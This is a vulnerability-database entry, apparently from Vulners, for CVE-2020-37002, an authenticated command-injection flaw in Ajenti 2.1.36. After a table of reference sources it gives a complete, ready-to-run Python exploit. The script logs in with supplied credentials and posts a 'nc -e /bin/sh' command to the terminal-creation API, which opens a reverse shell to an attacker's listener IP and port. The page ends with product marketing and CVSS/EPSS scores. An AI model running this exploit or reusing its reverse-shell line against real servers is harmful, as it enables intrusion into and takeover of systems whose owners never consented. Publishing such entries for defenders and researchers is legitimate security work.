Ajenti 2.1.36 - Authenticated Remote Code Execution (RCE)
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2020-37002 | 29 Jan 202614:28 | – | attackerkb | |
| CVE-2020-37002 | 29 Jan 202618:40 | – | circl | |
| ajenti operating system command injection vulnerability | 29 Jan 202600:00 | – | cnnvd | |
| CVE-2020-37002 | 29 Jan 202614:28 | – | cve | |
| CVE-2020-37002 Ajenti 2.1.36 Authenticated Remote Code Execution | 29 Jan 202614:28 | – | cvelist | |
| EUVD-2020-30913 | 29 Jan 202614:28 | – | euvd | |
| CVE-2020-37002 | 29 Jan 202615:16 | – | nvd | |
| CVE-2020-37002 | 29 Jan 202615:16 | – | osv_cve | |
| PT-2026-5278 | 29 Jan 202600:00 | – | ptsecurity | |
| CVE-2020-37002: Improper Neutralization of Special Elements used in an OS Command | 29 Jan 202600:00 | – | rapid7 |
10
#!/usr/bin/python3
import requests
import sys
import warnings
from bs4 import BeautifulSoup
import json
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
if len(sys.argv) < 6:
print("Usage: ./exploit.py http(s)://url username password listenerIP listenerPort")
exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
req = requests.session()
login_creds = {
"username":username,
"password":password,
"mode":"normal"}
print("[+] Sendin login request...")
login = req.post(url+"/api/core/auth", json = login_creds)
if username in login.text:
page = url + "/api/terminal/create"
payload = {
'command':'nc -e /bin/sh ' + ip + ' ' + port ,
'autoclose':True
}
payload = json.dumps(payload)
print("[+] Sending payload...")
send_payload = req.post(page, payload)
print("[+] Check your listener !...")
else:
print("[-] Wrong credentials or may the system patched.")
exit()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 48.7
CVSS 3.19.8
EPSS0.00761
SSVC